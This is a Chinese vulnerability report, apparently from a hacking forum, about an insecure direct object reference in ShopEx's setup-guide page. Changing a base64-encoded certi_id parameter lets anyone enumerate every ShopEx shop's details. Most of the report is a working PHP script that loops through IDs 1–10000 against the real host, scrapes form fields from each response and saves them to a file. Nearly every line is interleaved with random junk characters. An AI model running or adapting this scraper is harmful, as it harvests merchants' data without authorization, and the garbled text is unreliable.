|
简要描述:1 V+ m- H- {6 }5 Q; N- v5 \) U v
ShopEx某接口缺陷,可遍历所有网站
) w! E# B4 U# c详细说明:
9 Z, e, V3 S. X5 r2 m问题出现在shopex 网店使用向导页面 : F0 e. W; k; q2 v( Z! g
- b( o2 ^$ A" n6 p" F) V
9 Y- R& R# o2 k8 J0 [" _8 ~6 U- J
Q* {" J( l7 P& Q/ qhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
$ ~. T0 r) T) `% E+ y7 W6 A3 p- Z$ n" K: G. w8 k
. C/ P( n9 c# ^
) N& ?- S( [! j* crefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}& n2 y) R! p2 Q" T$ U% m) J
& f. ^: @5 t7 b7 K" }
# J" e' n" m8 B+ J# \) a1 |% ]+ E1 u) E& P5 W
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
+ Y, d N L- Q9 E
) O3 y5 Z$ v: W% L# B$ S5 x% U
0 T1 p) Q; F2 F2 k4 @2 d" _
( C7 `. Z1 O8 U9 R% Q( _<?php6 t8 r- {/ b C2 u# M/ p( }9 w8 K
4 a, s# m- M+ }6 M& q for ($i=1; $i < 10000; $i++) { //遍历
1 V M5 V2 Q9 r: ?( x7 R# T: J. H" z; q' @1 p' I+ _
ShowshopExD($i);# L$ {4 k. [& `) i; v3 g
+ m& S5 S/ ~+ C" i% ]) S: d }6 ]# P- j3 e* U7 a# x7 x' v$ Z* o
+ F6 W: J0 l, Q- S+ T
function ShowshopExD($cid) {
P2 o1 |5 c6 G( D- i# c: a( i! E! a
$url='http://guide.ecos.shopex.cn/step2.php';# i5 G1 W) i2 H5 u
; s4 l5 l' a2 x1 } n) o $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
% {8 M7 D, d6 n6 d; G7 `8 T- S3 q7 d- J5 r E ~1 ^
$url = $url.'?refer='.$refer;1 g' W8 z2 {$ o# L5 ]. P
8 a- h4 J3 C k/ w. u
$ch = curl_init($url);( D: L# j& K0 Q8 H. w" N7 ~* q
; f! ^, C3 c* P curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;" k9 r+ q/ q" c* v/ v7 f7 }0 V
3 p) j6 E+ S+ E1 M* g
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;3 H& |+ p- @5 L- P* D
% ~3 I2 @! }# P* H2 q" L( |
$result = curl_exec($ch);
0 S6 J* P' u5 M& t2 g# F# |% v3 @6 H' @2 m3 R6 i1 m. v
$result = mb_convert_encoding($result, "gb2312", "UTF-8");/ {$ O+ o$ }" @" P- E
: _. E0 B- ]" c- c if(strpos($result,$refer))! J: f# k, }! P! q# N
0 G6 u7 N% K- U; a
{
8 P, Y( e. h2 }+ C% C$ Q4 \8 Z# G
& t0 M. G) h5 m $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
" m+ m2 y/ F2 [) l" [6 Y$ k, c+ j6 K. n+ p8 l4 n
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);: v! J! J% }: ~+ V" @2 V
# r$ K- d1 C, |6 h* E- V% }- ~+ _
foreach ($value[1] as $key) {+ U; v" P1 ~- d2 u! ]
' R& U' H; q1 H9 V preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
2 x: R1 x) ~1 f6 `7 W1 E( K. A. m% T2 @+ k! D0 m
echo $res[1][0].':'.$res[3][0]."\r\n";; N- e3 x5 h" Q. {: ]* f7 s
- X. F) P# v8 F! u+ O8 z. J $col =$res[1][0].':'.$res[3][0]."\r\n"; * n) F! l& M( G# r6 B
8 C h: Q- j9 h
fwrite($fp, $col, strlen($col));
) r7 o( w, l) b7 ~+ d
+ O; ]( C9 E# A, V; i7 j4 E. e8 L }
9 R( S3 W% v; h/ z7 f% \5 x6 Z1 e0 n [
echo '--------------------------------'."\r\n";
" e# P. Z: j8 q/ s& n$ \
! a0 s, @+ i1 A fclose($fp); : |0 W7 ^6 z7 I% k+ P4 e
" x/ Y9 U# i& h; Q. X* j( n5 v/ r }- y- R- x5 V- o" y0 T
+ R, d' J* H( d# b. { flush();3 b8 Z( I. F* @/ X; ^. m
) a2 X: s; D( l, { curl_close($ch);
% W/ |7 b+ b h& [7 ~5 |9 G4 M
$ i, m# e8 X/ U8 k6 _$ C- w }& {1 Z$ l' X* a: q% N5 S
/ ]5 }" o9 g6 w1 `?>5 y* O, H: T( m/ T
漏洞证明:
& D% N$ q' E9 P* x R7 A, V+ F* chttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
5 d. w# F# l$ P, G* _3 [8 c$ [refer换成其他加密方式
; s/ Y9 u. j' h0 h8 a+ m! B |
|